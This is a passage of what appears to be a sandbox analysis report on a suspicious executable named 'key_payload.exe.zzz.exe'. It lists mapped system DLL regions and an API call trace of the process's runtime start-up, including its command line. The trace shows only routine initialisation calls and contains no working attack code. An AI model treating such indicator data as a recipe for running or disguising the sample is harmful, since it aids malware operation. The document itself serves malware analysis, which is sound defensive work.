(normalized: "c:\\windows\\syswow64\\oledlg.dll") Region: id = 871 start_va = 0x74660000 end_va = 0x746c6fff entry_point = 0x74660000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 872 start_va = 0x746d0000 end_va = 0x748d8fff entry_point = 0x746d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 873 start_va = 0x748e0000 end_va = 0x748e5fff entry_point = 0x748e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 874 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 875 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 876 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 877 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 878 start_va = 0x74ac0000 end_va = 0x74ac6fff entry_point = 0x74ac0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 879 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 880 start_va = 0x74c10000 end_va = 0x74c53fff entry_point = 0x74c10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 881 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 882 start_va = 0x74ce0000 end_va = 0x74d23fff entry_point = 0x74ce0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 883 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 884 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 885 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 886 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 887 start_va = 0x752b0000 end_va = 0x752bbfff entry_point = 0x752b0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 888 start_va = 0x752c0000 end_va = 0x7667efff entry_point = 0x752c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 889 start_va = 0x76800000 end_va = 0x76cdcfff entry_point = 0x76800000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 890 start_va = 0x76ce0000 end_va = 0x76d71fff entry_point = 0x76ce0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 891 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 892 start_va = 0x76ec0000 end_va = 0x76ec5fff entry_point = 0x76ec0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 893 start_va = 0x76ed0000 end_va = 0x76f2bfff entry_point = 0x76ed0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 894 start_va = 0x76f30000 end_va = 0x77019fff entry_point = 0x76f30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 895 start_va = 0x77020000 end_va = 0x77055fff entry_point = 0x77020000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 896 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 897 start_va = 0x77100000 end_va = 0x7710efff entry_point = 0x77100000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 898 start_va = 0x771d0000 end_va = 0x7725cfff entry_point = 0x771d0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 899 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 900 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 901 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 902 start_va = 0x7e2f0000 end_va = 0x7e3effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e2f0000" filename = "" Region: id = 903 start_va = 0x7e41a000 end_va = 0x7e41cfff entry_point = 0x0 region_type = private name = "private_0x000000007e41a000" filename = "" Region: id = 904 start_va = 0x2e20000 end_va = 0x2e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 905 start_va = 0x2df0000 end_va = 0x2df0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002df0000" filename = "" Region: id = 906 start_va = 0x2ea0000 end_va = 0x2f57fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ea0000" filename = "" Region: id = 907 start_va = 0x2df0000 end_va = 0x2df3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002df0000" filename = "" Region: id = 908 start_va = 0x2e00000 end_va = 0x2e03fff entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 909 start_va = 0x2f60000 end_va = 0x3451fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002f60000" filename = "" Region: id = 910 start_va = 0x3460000 end_va = 0x3460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003460000" filename = "" Region: id = 911 start_va = 0x3470000 end_va = 0x37a6fff entry_point = 0x3470000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 912 start_va = 0x37b0000 end_va = 0x38affff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 913 start_va = 0x38b0000 end_va = 0x38b0fff entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Thread: id = 58 os_tid = 0xe50 [0230.777] GetStartupInfoW (in: lpStartupInfo=0x106fc90 | out: lpStartupInfo=0x106fc90*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0230.777] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.777] GetProcAddress (hModule=0x75130000, lpProcName=0x133ad34) returned 0x7514a330 [0230.777] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514f400 [0230.777] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75147580 [0230.777] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x75149910 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionEx") returned 0x75156030 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="CreateEventExW") returned 0x75155f90 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="CreateSemaphoreExW") returned 0x75155ff0 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadStackGuarantee") returned 0x7514a5d0 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolTimer") returned 0x7514a690 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolTimer") returned 0x779c40f0 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x779bd630 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolTimer") returned 0x779becf0 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolWait") returned 0x75155720 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolWait") returned 0x779be140 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolWait") returned 0x779beb60 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="FlushProcessWriteBuffers") returned 0x779f9990 [0230.778] GetProcAddress (hModule=0x75130000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x779f5540 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumber") returned 0x779e9dc0 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformation") returned 0x7514a550 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="CreateSymbolicLinkW") returned 0x75170a40 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="SetDefaultDllDirectories") returned 0x74e60790 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="EnumSystemLocalesEx") returned 0x7514f8a0 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName=0x13131e4) returned 0x7514fa30 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="GetDateFormatEx") returned 0x75171030 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="GetTimeFormatEx") returned 0x751714b0 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="GetUserDefaultLocaleName") returned 0x7514a4f0 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="IsValidLocaleName") returned 0x751716f0 [0230.779] GetProcAddress (hModule=0x75130000, lpProcName="LCMapStringEx") returned 0x75149970 [0230.780] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentPackageId") returned 0x74de3c90 [0230.780] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount64") returned 0x75148710 [0230.780] GetProcAddress (hModule=0x75130000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0230.780] GetProcAddress (hModule=0x75130000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0230.780] GetCurrentThreadId () returned 0xe50 [0230.780] GetStartupInfoW (in: lpStartupInfo=0x106fc60 | out: lpStartupInfo=0x106fc60*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x127bca2, hStdOutput=0xb6333242, hStdError=0x1272227)) [0230.780] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0230.780] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0230.780] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0230.780] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0230.780] GetEnvironmentStringsW () returned 0x1436c28* [0230.780] FreeEnvironmentStringsW (penv=0x1436c28) returned 1 [0230.781] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1398068, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0230.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x106fcac | out: lpSystemTimeAsFileTime=0x106fcac*(dwLowDateTime=0x34df53ef, dwHighDateTime=0x1d43869)) [0230.782] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0230.782] GetLastError () returned 0x0 [0230.782] SetLastError (dwErrCode=0x0) [0230.782] GetLastError () returned 0x0 [0230.782] SetLastError (dwErrCode=0x0) [0230.782] GetLastError () returned 0x0 [0230.782] SetLastError (dwErrCode=0x0) [0230.782] GetACP () returned 0x4e4 [0230.782] GetLastError () returned 0x0 [0230.782] SetLastError (dwErrCode=0x0) [0230.782] IsValidCodePage (CodePage=0x4e4) returned 1 [0230.782] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x106fc54 | out: lpCPInfo=0x106fc54) returned 1 [0230.782] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x106f71c | out: lpCPInfo=0x106f71c) returned 1 [0230.782] GetLastError () returned 0x0 [0230.782] SetLastError (dwErrCode=0x0) [0230.782] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x106fb30, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0230.782] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x106fb30, cbMultiByte=256, lpWideCharStr=0x106f498, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0230.782] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x106f730 | out: lpCharType=0x106f730) returned 1 [0230.782] GetLastError () returned 0x0 [0230.782] SetLastError (dwErrCode=0x0) [0230.782] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x106fb30, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0230.782] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x106fb30, cbMultiByte=256, lpWideCharStr=0x106f468, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0230.782] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0230.782] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x106f258, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0230.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x106fa30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb2\x32\x33\xb6\x6c\xfc\x06\x01\xad\x05\x28\x01\xa8\xab\x40\x01\xc8\xad\x40\x01", lpUsedDefaultChar=0x0) returned 256 [0230.783] GetLastError () returned 0x0 [0230.783] SetLastError (dwErrCode=0x0) [0230.783] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x106fb30, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0230.783] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x106fb30, cbMultiByte=256, lpWideCharStr=0x106f488, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ") returned 256 [0230.783] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0230.783] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" 